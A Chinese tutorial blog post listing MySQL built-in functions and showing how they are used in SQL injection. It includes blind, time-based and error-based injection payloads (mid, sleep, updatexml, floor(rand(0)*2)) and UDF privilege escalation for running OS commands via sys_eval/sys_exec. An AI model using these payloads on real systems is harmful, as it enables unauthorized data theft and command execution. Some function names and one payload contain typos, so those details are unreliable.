• 数据库系统函数的注入利用(初识)


    数据库系统功能

    MySQL系统自带函数

    *更多函数:https://blog.csdn.net/qq646040754/article/details/82721801

    数学函数:

    bin(x)/hex(x) 返回x的二进制/十六进制编码

    abs(x) x的绝对值

    mod(x,y) 求余运算

    sqrt(x) 平方根运算

    ceil(x) / ceiling(x)

    rand() 返回0~1之间的浮点数

    round(x,D) 四舍五入保留D位小数

    sign(x) 返回x的符号

    pow(x,y) x的y次幂

    exp(x) e的x次幂

    floor(x) 返回小于或等于x的最大整数

    count(x) 返回查询的记录总数

    sum() 返回计算总和

    日期函数

    addate(d,n) 计算起始日期d加上n天的日期

    addtime(t,n) 计算t加上n秒的时间

    curdate() current_date()返回当前日期

    curtime() current_time()返回当前时间

    current_timestamp() localtime() now() sysdate() 返回日期和时间

    字符串函数:

    ascii(str) 返回字符串第一个字符的ASCII值

    char_langth(str) 统计字符串的字符数

    length(str) 返回str字符串的长度

    insert(str,x,y,insert) 将字符串从x开始,y个字符长度替换为字符串insert

    lpad(s1,len,s2) 在字符串s1的开始处填充字符串s2,使得长度达到len

    rpad(s1,len,s2) 在字符串s1的结尾处填充字符串s2,使得长度达到len

    ltrim(s)/rtrim(s) 删除字符串s的开始/结尾处的空格

    locate(s1,s) 从字符串s中获取s1的开始位置

    position(s1 in s2) 从字符串s中获取s1开始的位置

    left(s,n)返回字符串s的前n个字符

    right(s,n) 返回字符串s的后n个字符

    mid(s,n,len),substring(s,n,len),substr(s,n,len) 从n位置字符串s截取len

    concat(s1,s2,…)返回s1,s2连接的字符串

    concat_ws(s1,s2,'char'^) 返回可自由添加分隔符的拼接字符串

    lcase() lower() 字母小写转换

    ucase(s) upper(s) 字母大写转换

    field() 返回第一个字符串在字符串列表的位置

    find_in_set(s1,s2) 返回字符串s1在字符串s2的匹配位置

    repeat(s,n) 字符串s重复n次

    reverse(s) 字符串反序

    strcmp(s1,s2) 比较字符串s1,s2并返回比较结果

    nullif(exp1,exp2) 比较两个字符串

    formax(x,n) 对数字x进行格式化,将x保留到小数点后n位(四舍五入)

    truncate(x,y) 返回数值x保留到小数点后y位的值,(不会四舍五入)

    binary(s) 将字符串s转换为二进制字符串

    特殊函数:

    connection_id() 返回连接该数据库服务器 的ID

    current_user() sssion_user system_user() user() 返回当前用户名

    database() 返回当前数据库名

    version() 返回数据库的版本号

    @@version_compile_os 查看系统架构

    @@version_compile_machine 查看mysql架构

    @@datadir 查看数据的存储目录

    函数的利用姿势:

    length函数:判断长度

    select length(database());
    

    count()函数:返回匹配指定条件的行数

    union select 1,count(*),3 from user;-- 查看当前表的数量
    

    mid()函数:用于从字段中提取(一段)字符(布尔/时间/报错 盲注)

    and mid(user(),1,1)='r';
    
    and if(mid(user(),1,1)='r',sleep(2),1);
    
    and updatexml(1,mid(concat(0x7e,user()),1,5),1)
    

    group by语句:结合聚合函数使用(报错注入)

    and (select 1 from(select count(*),concat(user(),0x7e,floor(rand(0)*2))x from information_schema.tables group bu x)a)
    

    if(1,2,3):时间盲注

    select if(1=1,sleep(2),1)
    

    MySQL执行系统命令

    system 执行格式:

    mysql> system <linux命令>
    

    UDF提权执行系统命令:

    • UDF是MySQL用户自定义的函数,

    • 要求:

      plugin目录具备读写权限

    查看系统和MySQL架构

    select @@version_compile_os , @@version_compile_machine ;
    

    UDF库需要放在MySQL的plugin文件中

    select @@plugin_dir;
    

    自定义创建函数语法:

    create [aggregate] function <function_name> returns <string|integer|real> soname 'file_name';
    

    AGGREGATE 表示聚合函数,系统定义的聚合函数有:count(),ave(),mn(),sum()

    SONAME 表示这个函数从哪个文件中引入,这个文件一般是动态链接库,windows是dll,linux是so,并且这个文件再mysql的plugin目录下;

    UDF支持的函数:

    sys_eval 执行任意命令,并返回他的输出

    sys_exec 执行任意命令,并返回他的退出代码

    sys_get 获取环境变量的值

    sys_set 创建环境变量或更新现有的环境变量的值

  • 相关阅读:
    内置系统账户:Local system/Network service/Local Service 区别
    Asp.net生成工作流、审批流的解决方案(asp.net workflow svg)
    互联网创业盈利模式指南
    Web.config:OracleClient链接配置
    软件需求设计评审的八项要点需注意
    sscanf函数
    hdu1016Prime Ring Problem(经典DFS)
    hdu 1789 Doing Homework again (贪心)
    hdu1398 Square Coins(母函数、完全背包)
    C语言数字转化为字符串的库函数(转载)
  • 原文地址:https://www.cnblogs.com/wangyuyang1016/p/11666170.html
Copyright © 2020-2023  润新知